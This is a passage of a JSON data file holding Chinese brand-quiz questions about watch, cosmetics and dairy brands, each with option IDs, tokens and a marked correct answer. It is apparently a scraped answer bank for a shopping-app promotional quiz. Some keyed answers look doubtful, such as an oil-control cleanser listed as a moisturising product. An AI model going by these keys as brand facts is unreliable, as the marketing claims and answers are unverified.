04:32:32","status":"1"},{"questionId":"6301443075","questionIndex":"5","questionStem":"依波路品牌始于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD41CT2Ytln6X7TQGLE88gRWrWU8ng\",\"optionDesc\":\"1876\"},{\"optionId\":\"LccSx0BXjD41CT2Ytln6XGeufHLu4UsCLcMRrA\",\"optionDesc\":\"1856\\t\\t\"},{\"optionId\":\"LccSx0BXjD41CT2Ytln6XjUDysIv0uvsqj-BNA\",\"optionDesc\":\"1850\"}]","questionToken":"LccSx0BXjD41CT3OpRHhDvbN6Wt5mREr7x8BWXHb_56Nf-weeTF-c5MOAdZZYVrUi4ZgUIcd09zr5UP8hwdMv3U5AxHHRA","correct":"{\"optionId\":\"LccSx0BXjD41CT2Ytln6XGeufHLu4UsCLcMRrA\",\"optionDesc\":\"1856\\t\\t\"}","create_time":"27/1/2021 04:35:43","update_time":"27/1/2021 04:35:43","status":"1"},{"questionId":"6301443076","questionIndex":"1","questionStem":"依波路的品牌理念是什么?","options":"[{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XgGBbK7fR2UNTpQO\",\"optionDesc\":\"时间定格此刻\"},{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XAp7FuJErldhqvW4\",\"optionDesc\":\"浪漫时刻因爱永恒\\t\\t\"},{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XyKPzXKGnwMphgAx\",\"optionDesc\":\"浪漫在此刻\"}]","questionToken":"LccSx0BXjD41Cj3KpRHhDpu6iyFXKhuRmMn4ffpA6rSa4W_yqVEPC9wmmZWIGfXNy5b3k0wviWUCX0j03yMZDni1KVHTcA","correct":"{\"optionId\":\"LccSx0BXjD41Cj2Ytln6XAp7FuJErldhqvW4\",\"optionDesc\":\"浪漫时刻因爱永恒\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443077","questionIndex":"1","questionStem":"依波路的品牌代言人是谁?","options":"[{\"optionId\":\"LccSx0BXjD41Cz2Ytln6X2zr14nRxENzRLup\",\"optionDesc\":\"林峰\"},{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XJb9NJh_BEs8bwYT\",\"optionDesc\":\"陈慧琳\\t\\t\"},{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XvoUcIUrrP4qcpnc\",\"optionDesc\":\"赵雅芝\"}]","questionToken":"LccSx0BXjD41Cz3KpRHhCWx7Hj6T4rtAuq9tIyD8fZMXDyRGINTwX4anBKs1uKLv6wOF19wXAnN6nahsJlhzSZWHFQzejw","correct":"{\"optionId\":\"LccSx0BXjD41Cz2Ytln6XJb9NJh_BEs8bwYT\",\"optionDesc\":\"陈慧琳\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"6301443078","questionIndex":"3","questionStem":"依波路主推特色系列是什么?","options":"[{\"optionId\":\"LccSx0BXjD41BD2Ytln6X98Bgq7IwdmzcmWNcw\",\"optionDesc\":\"祖尔斯系列\"},{\"optionId\":\"LccSx0BXjD41BD2Ytln6XlnuFfz4i5-6eZCcBw\",\"optionDesc\":\"鸡尾酒系列\"},{\"optionId\":\"LccSx0BXjD41BD2Ytln6XI-_vhA6MqqvKDA--A\",\"optionDesc\":\"传奇系列\\t\\t\"}]","questionToken":"LccSx0BXjD41BD3IpRHhCaEft5m86kAcCR1aqfzksNJhTjIUVUYXWLpj2_Gt_fGqGys4LJ107gLC2XDM0JsuUhK_e_bElg","correct":"{\"optionId\":\"LccSx0BXjD41BD2Ytln6XI-_vhA6MqqvKDA--A\",\"optionDesc\":\"传奇系列\\t\\t\"}","create_time":"27/1/2021 04:42:40","update_time":"27/1/2021 04:42:40","status":"1"},{"questionId":"6301443080","questionIndex":"1","questionStem":"摩纹手表的产地是?","options":"[{\"optionId\":\"LccSx0BXjD46DD2Ytln6XPRrobzgcG272K9_\",\"optionDesc\":\"瑞士\\t\"},{\"optionId\":\"LccSx0BXjD46DD2Ytln6Xtaxaleg4WHtycUt\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD46DD2Ytln6X1lfZkmW4pzr34UO\",\"optionDesc\":\"中国\\t\"}]","questionToken":"LccSx0BXjD46DD3KpRHhCcYqFKoKOEFnljEHu5Y_TjLr1drhcpMpA_SD6YWJ_n0Zmm23D4eZHVV_dPDfcHyz_P1ccLHXAw","correct":"{\"optionId\":\"LccSx0BXjD46DD2Ytln6XPRrobzgcG272K9_\",\"optionDesc\":\"瑞士\\t\"}","create_time":"27/1/2021 04:45:55","update_time":"27/1/2021 04:45:55","status":"1"},{"questionId":"6301443081","questionIndex":"5","questionStem":"摩纹告白系列女表现在是由哪位明星代言?","options":"[{\"optionId\":\"LccSx0BXjD46DT2Ytln6XHQtJvcF2F6dt_OP\",\"optionDesc\":\"金莎\\t\\t\"},{\"optionId\":\"LccSx0BXjD46DT2Ytln6X_S96DSWfiN7QGFL\",\"optionDesc\":\"秦海璐\"},{\"optionId\":\"LccSx0BXjD46DT2Ytln6Xl4Q8o8IOPHLaSCO\",\"optionDesc\":\"毛晓彤\"}]","questionToken":"LccSx0BXjD46DT3OpRHhCRxKsEj-N02cS8_M5cKyhE71mOtQhdFnTQBMi_Lazo6mK3kUgJu5kLbndvs3LZrKVQQ26WpIXw","correct":"{\"optionId\":\"LccSx0BXjD46DT2Ytln6XHQtJvcF2F6dt_OP\",\"optionDesc\":\"金莎\\t\\t\"}","create_time":"27/1/2021 04:45:52","update_time":"27/1/2021 04:45:52","status":"1"},{"questionId":"6301443082","questionIndex":"3","questionStem":"摩纹手表的特色传承标记是?","options":"[{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XlBK_LNb9EVd5VjXeQ\",\"optionDesc\":\"三叉皇冠\"},{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XL36tVal57F52XbXew\",\"optionDesc\":\"红“8”DNA印记\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Dj2Ytln6X_G14kbWJMwUINn7WQ\",\"optionDesc\":\"淬火蓝针\"}]","questionToken":"LccSx0BXjD46Dj3IpRHhDsSjV-9e676oDvjXn1JuMXXJUVs3oq8HyjGdD_1X8wc-v7VG0hBI4bNMDQ7b5HF_EDH1fTAMHw","correct":"{\"optionId\":\"LccSx0BXjD46Dj2Ytln6XL36tVal57F52XbXew\",\"optionDesc\":\"红“8”DNA印记\\t\\t\"}","create_time":"27/1/2021 04:03:34","update_time":"27/1/2021 04:03:34","status":"1"},{"questionId":"6301443083","questionIndex":"2","questionStem":"摩纹手表近年来合作的春节档电影名称是?","options":"[{\"optionId\":\"LccSx0BXjD46Dz2Ytln6X3R4UIH7G8RD0L7x\",\"optionDesc\":\"紧急救援\"},{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XGEcloFv86Y5Su_t\",\"optionDesc\":\"唐人街探案\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XmqqVK5HiVyQOZy3\",\"optionDesc\":\"封神三部曲\"}]","questionToken":"LccSx0BXjD46Dz3JpRHhDntaAUW0038zCujS93ahbsUc5YxQGb0qgtn9uDeoAbhdr0WlgWbkrbnfm_G_pcbYi-2Unb8llQ","correct":"{\"optionId\":\"LccSx0BXjD46Dz2Ytln6XGEcloFv86Y5Su_t\",\"optionDesc\":\"唐人街探案\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443085","questionIndex":"5","questionStem":"天美时手表是哪国的品牌?","options":"[{\"optionId\":\"LccSx0BXjD46CT2Ytln6Xw9gUC90vJ_w1bQ\",\"optionDesc\":\"中国\"},{\"optionId\":\"LccSx0BXjD46CT2Ytln6XunHCEKBAf-7KuE\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD46CT2Ytln6XBQtxKa7JQkt4aA\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"LccSx0BXjD46CT3OpRHhDh9U7XdPtX_j2TjpCaAIZqcm9iFQwOxXLz3d27VmPvuRA0JT8dlm_OUfENXZvL6lnzlM-UVlkA","correct":"{\"optionId\":\"LccSx0BXjD46CT2Ytln6XBQtxKa7JQkt4aA\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:54:04","update_time":"27/1/2021 04:54:04","status":"1"},{"questionId":"6301443086","questionIndex":"5","questionStem":"天美时的受众人群是?","options":"[{\"optionId\":\"LccSx0BXjD46Cj2Ytln6Xob_XlXxI-ewUGE\",\"optionDesc\":\"老人\"},{\"optionId\":\"LccSx0BXjD46Cj2Ytln6XJ1I8hI3KIcxkn0\",\"optionDesc\":\"青年&学生\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Cj2Ytln6X5OvbjdsAL8uDBg\",\"optionDesc\":\"儿童\"}]","questionToken":"LccSx0BXjD46Cj3OpRHhCUuporsJNBxw66T7UVimytnzfcUAD4802NndRjgofyEZGLjrfuKFO3ffB_h2qPEvatyNmpYNYg","correct":"{\"optionId\":\"LccSx0BXjD46Cj2Ytln6XJ1I8hI3KIcxkn0\",\"optionDesc\":\"青年&学生\\t\\t\"}","create_time":"27/1/2021 04:51:23","update_time":"27/1/2021 04:51:23","status":"1"},{"questionId":"6301443087","questionIndex":"4","questionStem":"范思哲VERSACE是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD46Cz2Ytln6XIYxyyI4-LHhfoyq7A\",\"optionDesc\":\"意大利\\t\\t\"},{\"optionId\":\"LccSx0BXjD46Cz2Ytln6X7GqkNTcKvnEyIzpZA\",\"optionDesc\":\"瑞士\"},{\"optionId\":\"LccSx0BXjD46Cz2Ytln6Xv5TIaZ0qRqhEdvgyQ\",\"optionDesc\":\"法国\"}]","questionToken":"LccSx0BXjD46Cz3PpRHhCbZ7UVQsphXd6sdUmMKTAhxJf5aBwU9pIx_liQMCrf8WEEA0BIF6g0a62_FHd4eL6ARpkt1zSQ","correct":"{\"optionId\":\"LccSx0BXjD46Cz2Ytln6XIYxyyI4-LHhfoyq7A\",\"optionDesc\":\"意大利\\t\\t\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"6301443088","questionIndex":"3","questionStem":"范思哲VERSACE手表的产地是?","options":"[{\"optionId\":\"LccSx0BXjD46BD2Ytln6XCukBfkBo-mfvmSK2w\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"LccSx0BXjD46BD2Ytln6X0vfFGKAZF5Sis7s_w\",\"optionDesc\":\"中国\"},{\"optionId\":\"LccSx0BXjD46BD2Ytln6XhgYfHrTp2Ok2x54JQ\",\"optionDesc\":\"意大利\"}]","questionToken":"LccSx0BXjD46BD3IpRHhCUzj172TW7Ssj5XQTbn8o7F0nT0ykfGvXk1thhEJXevjg4n8rS4REEzOPd6SPsIAsPMtMOd_Aw","correct":"{\"optionId\":\"LccSx0BXjD46BD2Ytln6XCukBfkBo-mfvmSK2w\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"6301443089","questionIndex":"2","questionStem":"范思哲VERSACE手表机芯的质保时间是多长?","options":"[{\"optionId\":\"LccSx0BXjD46BT2Ytln6XNKKCjXVzZsYxL2i\",\"optionDesc\":\"4年\\t\\t\"},{\"optionId\":\"LccSx0BXjD46BT2Ytln6X-p4ZBxTgqFXzTsq\",\"optionDesc\":\"2年\"},{\"optionId\":\"LccSx0BXjD46BT2Ytln6Xo1Ztbc0PSwkpFvp\",\"optionDesc\":\"3年\"}]","questionToken":"LccSx0BXjD46BT3JpRHhDu7dZadEE-s6mBvMtZwSrCo1BLbAkC4BoDTWQV-xzRQQzUVrqbaYLJXJ13WurX02m5w0DsseCA","correct":"{\"optionId\":\"LccSx0BXjD46BT2Ytln6XNKKCjXVzZsYxL2i\",\"optionDesc\":\"4年\\t\\t\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"6301443090","questionIndex":"2","questionStem":"范思哲VERSACE手表的标志性图案是?","options":"[{\"optionId\":\"LccSx0BXjD47DD2Ytln6XnUTeAysj1krYsZxkA\",\"optionDesc\":\"希腊回纹\"},{\"optionId\":\"LccSx0BXjD47DD2Ytln6X_31t1MuqtnCCxvITQ\",\"optionDesc\":\"SWISS MADE\"},{\"optionId\":\"LccSx0BXjD47DD2Ytln6XNtEcuYbAfCwh-C4vA\",\"optionDesc\":\"美杜莎头像\\t\\t\"}]","questionToken":"LccSx0BXjD47DD3JpRHhDoq_Wz77EHCW-E4r-dO5AxkOCe1tWf2Q4dtugTep_PQ4HKcERykxOq391iKqFixqcSKj-dok3A","correct":"{\"optionId\":\"LccSx0BXjD47DD2Ytln6XNtEcuYbAfCwh-C4vA\",\"optionDesc\":\"美杜莎头像\\t\\t\"}","create_time":"27/1/2021 04:41:06","update_time":"27/1/2021 04:41:06","status":"1"},{"questionId":"6301443091","questionIndex":"2","questionStem":"欧莱雅源自哪个国家?","options":"[{\"optionId\":\"LccSx0BXjD47DT2Ytln6Xk3jaQj5AwULMYE\",\"optionDesc\":\"英国\"},{\"optionId\":\"LccSx0BXjD47DT2Ytln6X9Q1brY5GF3P5-g\",\"optionDesc\":\"美国\"},{\"optionId\":\"LccSx0BXjD47DT2Ytln6XC10l6BzssG8HGw\",\"optionDesc\":\"法国\\t\\t\"}]","questionToken":"LccSx0BXjD47DT3JpRHhDjlpVYrUinC6D5S9TddtSHj942B6YfbV0MRJhMT8ofY0uEVTuEYqckE1ctJz523t57MZ5JpOlQ","correct":"{\"optionId\":\"LccSx0BXjD47DT2Ytln6XC10l6BzssG8HGw\",\"optionDesc\":\"法国\\t\\t\"}","create_time":"27/1/2021 04:44:52","update_time":"27/1/2021 04:44:52","status":"1"},{"questionId":"6301443092","questionIndex":"1","questionStem":"欧莱雅紫熨斗含有哪个黑科技成分?","options":"[{\"optionId\":\"LccSx0BXjD47Dj2Ytln6XMeTMX8EfGQJKR_9_A\",\"optionDesc\":\"玻色因\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Dj2Ytln6X50auuCHgCgRxUzuIQ\",\"optionDesc\":\"焕肤保湿精华\"},{\"optionId\":\"LccSx0BXjD47Dj2Ytln6Xp74QUYJWfszF375vw\",\"optionDesc\":\"超微研磨粉末\"}]","questionToken":"LccSx0BXjD47Dj3KpRHhDlW-3SO37zIOLYsW7ZuALd6r-7lQBCW2dDz0C7ihPdEPBI-1BlbSU4Ox-yd7KoS3gKL9nw0hMg","correct":"{\"optionId\":\"LccSx0BXjD47Dj2Ytln6XMeTMX8EfGQJKR_9_A\",\"optionDesc\":\"玻色因\\t\\t\"}","create_time":"27/1/2021 04:34:24","update_time":"27/1/2021 04:34:24","status":"1"},{"questionId":"6301443093","questionIndex":"5","questionStem":"以下哪款是2021年京东欧莱雅新款产品?","options":"[{\"optionId\":\"LccSx0BXjD47Dz2Ytln6Xhmpj3pkHDiBoQsp\",\"optionDesc\":\"复颜积雪草微精华\"},{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XxZ9-lyZHEblATG4\",\"optionDesc\":\"青春密码充电眼霜\\t\"},{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XC-z2O6SPywFuSGr\",\"optionDesc\":\"金致臻颜琉金蜜\"}]","questionToken":"LccSx0BXjD47Dz3OpRHhCcnxs5smYJARvoVrdNcilNcTCObYNwEvslzCZOyCmsFMeEV9Uo4QSmAcTtmb_MaADSxYwf2HEQ","correct":"{\"optionId\":\"LccSx0BXjD47Dz2Ytln6XC-z2O6SPywFuSGr\",\"optionDesc\":\"金致臻颜琉金蜜\"}","create_time":"27/1/2021 04:48:25","update_time":"27/1/2021 04:48:25","status":"1"},{"questionId":"6301443094","questionIndex":"2","questionStem":"以下哪款是欧莱雅抗老王牌产品?","options":"[{\"optionId\":\"LccSx0BXjD47CD2Ytln6XLytmXjV95YJfWkKhQ\",\"optionDesc\":\"欧莱雅逆时精华\\t\\t\"},{\"optionId\":\"LccSx0BXjD47CD2Ytln6X0GhYzx7Ak3l6LveKQ\",\"optionDesc\":\"三重源白精华\"},{\"optionId\":\"LccSx0BXjD47CD2Ytln6Xmm6btxp5hOgA_xi7A\",\"optionDesc\":\"青春密码黑精华\"}]","questionToken":"LccSx0BXjD47CD3JpRHhDgVKPOPB-i7Psf7I82Ziz5MHMu2okedle_dOmp9Ffdujn1GbdpOQ1mFMPEECrmD5fzy7jkVuPg","correct":"{\"optionId\":\"LccSx0BXjD47CD2Ytln6XLytmXjV95YJfWkKhQ\",\"optionDesc\":\"欧莱雅逆时精华\\t\\t\"}","create_time":"27/1/2021 04:43:48","update_time":"27/1/2021 04:43:48","status":"1"},{"questionId":"6301443095","questionIndex":"5","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"LccSx0BXjD47CT2Ytln6XCoJxjlVyzZBoVto\",\"optionDesc\":\"妈咪爱\"},{\"optionId\":\"LccSx0BXjD47CT2Ytln6XnY6m9abItax-d53\",\"optionDesc\":\"Dodie\"},{\"optionId\":\"LccSx0BXjD47CT2Ytln6X1CyMSVxyLNEJw-L\",\"optionDesc\":\"Swisse\"}]","questionToken":"LccSx0BXjD47CT3OpRHhDldt6CnMYRPoQ7ZKzS_RENFYKHO4B8MYPDHHuxCv0bx44QRXCjv_mt42AasQoPCzF0TMtTS6UQ","correct":"{\"optionId\":\"LccSx0BXjD47CT2Ytln6XCoJxjlVyzZBoVto\",\"optionDesc\":\"妈咪爱\"}","create_time":"27/1/2021 04:50:26","update_time":"27/1/2021 04:50:26","status":"1"},{"questionId":"6301443096","questionIndex":"2","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XhV8LpzaJDDiIp8\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XJ4jBDv1Yakutfw\",\"optionDesc\":\"成人奶粉\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Cj2Ytln6X8-1nypJ0xoUKA4\",\"optionDesc\":\"婴幼儿奶粉\"}]","questionToken":"LccSx0BXjD47Cj3JpRHhCXKr-cr7k6g_aCGXwYk30jodW6pQYewa7qDju-cnjr6Qma6AvCNQY_jZM7TeeIvfTp5P3ORZeA","correct":"{\"optionId\":\"LccSx0BXjD47Cj2Ytln6XJ4jBDv1Yakutfw\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"27/1/2021 04:50:15","update_time":"27/1/2021 04:50:15","status":"1"},{"questionId":"6301443097","questionIndex":"2","questionStem":"欧莱雅男士系列于哪一年推出?","options":"[{\"optionId\":\"LccSx0BXjD47Cz2Ytln6Xx-yPGmf4OvEt0A\",\"optionDesc\":\"2005\"},{\"optionId\":\"LccSx0BXjD47Cz2Ytln6XA6NOkgwDjfmKf4\",\"optionDesc\":\"2004\\t\\t\"},{\"optionId\":\"LccSx0BXjD47Cz2Ytln6Xl_nxuJCvpn5I_M\",\"optionDesc\":\"2006\"}]","questionToken":"LccSx0BXjD47Cz3JpRHhDkGu9dKi1-OYaVRoBsYKn18-ojPu4k68eOyRjOlVbppnMbhB8HY1eAaUomJ3nT-AZ1Pb-WGNpQ","correct":"{\"optionId\":\"LccSx0BXjD47Cz2Ytln6XA6NOkgwDjfmKf4\",\"optionDesc\":\"2004\\t\\t\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"6301443098","questionIndex":"4","questionStem":"欧莱雅男士在中国大陆地区的首位代言人是?","options":"[{\"optionId\":\"LccSx0BXjD47BD2Ytln6Xrx5oRvTiFgsAaI\",\"optionDesc\":\"井柏然\"},{\"optionId\":\"LccSx0BXjD47BD2Ytln6XJ7i821YUYZGrlU\",\"optionDesc\":\"吴彦祖\\t\\t\"},{\"optionId\":\"LccSx0BXjD47BD2Ytln6Xyhmw8SjKth3VWk\",\"optionDesc\":\"阮经天\"}]","questionToken":"LccSx0BXjD47BD3PpRHhDnR9BSsTecBhgkWiskYUVWAUKxsUOGWXgOeNZrPgedgk0uhBo3fk6XocNeVFdbKqqH7AYCAKUA","correct":"{\"optionId\":\"LccSx0BXjD47BD2Ytln6XJ7i821YUYZGrlU\",\"optionDesc\":\"吴彦祖\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443099","questionIndex":"5","questionStem":"以下哪个不是欧莱雅男士护肤产品系列?","options":"[{\"optionId\":\"LccSx0BXjD47BT2Ytln6XKai5LR4zCffMkw\",\"optionDesc\":\"清爽醒肤系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD47BT2Ytln6X6_yTd_J6y3eJ-E\",\"optionDesc\":\"控油系列\"},{\"optionId\":\"LccSx0BXjD47BT2Ytln6Xs9zIRRptK4GD-s\",\"optionDesc\":\"劲能系列\"}]","questionToken":"LccSx0BXjD47BT3OpRHhCditmU6a4kWqYpgdJejwlzUT2wzDf69VQoRXoRJMmOvqo6DryO49WcvyDySnKXTeC0dVIMrPIA","correct":"{\"optionId\":\"LccSx0BXjD47BT2Ytln6XKai5LR4zCffMkw\",\"optionDesc\":\"清爽醒肤系列\\t\\t\"}","create_time":"27/1/2021 04:49:11","update_time":"27/1/2021 04:49:11","status":"1"},{"questionId":"6301443100","questionIndex":"4","questionStem":"圣牧有机奶有几个奶源地?","options":"[{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0F2o-M8j1u6HOHTc\",\"optionDesc\":\"3个\"},{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0bxxM89s_lneAOav\",\"optionDesc\":\"2个\\t\"},{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0tFM8fYb_pO5S6P2\",\"optionDesc\":\"1个\\t\"}]","questionToken":"LccSx0BXjD_LVa_itmQ6hw4vStWrMg8P3R6zxddSmmTP7agoecYkDy0_XRydGYiVJ3tMekOKwAGs7jMvcuLxps4l-O71RQ","correct":"{\"optionId\":\"LccSx0BXjD_LVa-1pSwh0tFM8fYb_pO5S6P2\",\"optionDesc\":\"1个\\t\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"6301443101","questionIndex":"4","questionStem":"圣牧产品标志性颜色?","options":"[{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0T98jqFa_WVYJw\",\"optionDesc\":\"黑色+白色\"},{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0DNwwaMyv8w7Lg\",\"optionDesc\":\"红色+蓝色\"},{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0gg0x8fdJFXQpw\",\"optionDesc\":\"绿色+金色\\t\\t\"}]","questionToken":"LccSx0BXjD_LVK_itmQ6gBGQb4EXOZFhCBwo8wgQSQZ0KP9QRsyj0nW-XOzAhD_RK_fof_3xkmy7WwEc-tTG5ZlX01YUDg","correct":"{\"optionId\":\"LccSx0BXjD_LVK-1pSwh0gg0x8fdJFXQpw\",\"optionDesc\":\"绿色+金色\\t\\t\"}","create_time":"27/1/2021 04:33:08","update_time":"27/1/2021 04:33:08","status":"1"},{"questionId":"6301443102","questionIndex":"2","questionStem":"圣牧脱脂奶的特点?","options":"[{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0CTKxHt5L0cIDAY\",\"optionDesc\":\"口感如水\"},{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0iS5o8_vLBOzog0\",\"optionDesc\":\"女性专供奶\\t\\t\"},{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0aYpwTPxnJHqKdc\",\"optionDesc\":\"脱脂率72%\"}]","questionToken":"LccSx0BXjD_LV6_ktmQ6h4rnxe5GoJyEBvY9d87CMMnXMyxZNGZfplT1NYZtFGbSAmKK8pNp5QNuUsFaNaX1KpaYW-i1-A","correct":"{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0iS5o8_vLBOzog0\",\"optionDesc\":\"女性专供奶\\t\\t\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6301443103","questionIndex":"1","questionStem":"圣牧有多少年历史?","options":"[{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0Q2oxKdzilAzyiwq\",\"optionDesc\":\"13年\"},{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0hp5s09uPvdjPmFW\",\"optionDesc\":\"11年\\t\"},{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0P0LPUuzhx6gXkAy\",\"optionDesc\":\"110年\"}]","questionToken":"LccSx0BXjD_LVq_ntmQ6hza_1zceWvsBYoaGOV__Jppez9sownNGBnCloPDi9Z4WPMN3_QMtUdZ-HE3HJcwRMgv8MKNNXg","correct":"{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0hp5s09uPvdjPmFW\",\"optionDesc\":\"11年\\t\"}","create_time":"27/1/2021 04:38:07","update_time":"27/1/2021 04:38:07","status":"1"},{"questionId":"6301443104","questionIndex":"5","questionStem":"曼秀雷敦由邓紫棋代言的夏季产品是什么?","options":"[{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0hUQHhQw8PbNbLimYA\",\"optionDesc\":\"小金帽\\t\\t\"},{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0G5nbaEQNZG9h2Hkrw\",\"optionDesc\":\"乐肤洁祛痘\"},{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0dwBZWgFK9iHydDSIA\",\"optionDesc\":\"新碧防晒\"}]","questionToken":"LccSx0BXjD_LUa_jtmQ6h5iyKLdBoTXDommOpqJ1L6ntd8LN-ijRq7mpK0J1btfaGR8fH5sScwqKohlnT7fJMDERF_RtEg","correct":"{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0hUQHhQw8PbNbLimYA\",\"optionDesc\":\"小金帽\\t\\t\"}","create_time":"27/1/2021 04:00:31","update_time":"27/1/2021 04:00:31","status":"1"},{"questionId":"6301443108","questionIndex":"4","questionStem":"曼秀雷敦的哪款唇膏稳居京东top1?","options":"[{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0L03dXyOOzqhrcPb\",\"optionDesc\":\"经典薄荷\"},{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ZcSnKYgjtEHA1TX\",\"optionDesc\":\"什果冰系列\"},{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ukGgRHoG2t0s3t3\",\"optionDesc\":\"天然无香料\\t\\t\"}]","questionToken":"LccSx0BXjD_LXa_itmQ6gHEAVQbqIYi7sSbtBylA9eo3GkJ0ClrJgSnDwNd51n70Np-iQxz2fZs4pbmY0io6rtFmQgqrKg","correct":"{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ukGgRHoG2t0s3t3\",\"optionDesc\":\"天然无香料\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443109","questionIndex":"1","questionStem":"曼秀雷敦男士的代言人是谁?","options":"[{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0dFKXdL0JAxMzaOKjw\",\"optionDesc\":\"黄晓明\"},{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0pM9uzgvyj3k0wRX5A\",\"optionDesc\":\"彭于晏\"},{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0Do-hvZdto3zeP_hQg\",\"optionDesc\":\"虞书欣\"}]","questionToken":"LccSx0BXjD_LXK_ntmQ6gDRqHWfln-Ls8e708iqR8sy_KOZX58ynH-T80mZ4ZSHGqOfzWyJ4Ek8nysZwElEnjITenLenLw","correct":"{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0pM9uzgvyj3k0wRX5A\",\"optionDesc\":\"彭于晏\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"6301443110","questionIndex":"2","questionStem":"以下哪个不是肌研护肤产品系列?","options":"[{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0IyJph2_DdMXfiH2LQ\",\"optionDesc\":\"白润系列\"},{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0ZTzAJoNyMNcnSTLHg\",\"optionDesc\":\"极润系列\"},{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0uAhAQ6hVM-nxSza7w\",\"optionDesc\":\"化润系列\\t\\t\"}]","questionToken":"LccSx0BXjD_KVa_ktmQ6gL3_Iy0AcAW-iJX3IBU-N6CWilUDy0_XxMEQDXxIEmt-SkQMARgq5C_8e_xWowhTe-yKtI1hyg","correct":"{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0uAhAQ6hVM-nxSza7w\",\"optionDesc\":\"化润系列\\t\\t\"}","create_time":"27/1/2021 04:35:42","update_time":"27/1/2021 04:35:42","status":"1"},{"questionId":"6301443111","questionIndex":"1","questionStem":"以下哪个产品是曼秀雷敦男士保湿系列?","options":"[{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0M9ZTM2Yk8fdj-6HmQ\",\"optionDesc\":\"能量活肤精华露\"},{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0bJXvXqOiK6ispzrbg\",\"optionDesc\":\"保湿活力洁面乳\"},{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0sDRSvFMO22d0iFwpg\",\"optionDesc\":\"控油抗痘洁面乳\"}]","questionToken":"LccSx0BXjD_KVK_ntmQ6h5jbxHb8Mm0yPLN69zjchTUC6pdbJYv2Wp_eKusGPnXBTb4Rpf42Ey9mHVt9gZgE5MK2spqBlg","correct":"{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0sDRSvFMO22d0iFwpg\",\"optionDesc\":\"控油抗痘洁面乳\"}","create_time":"27/1/2021 04:49:36","update_time":"27/1/2021 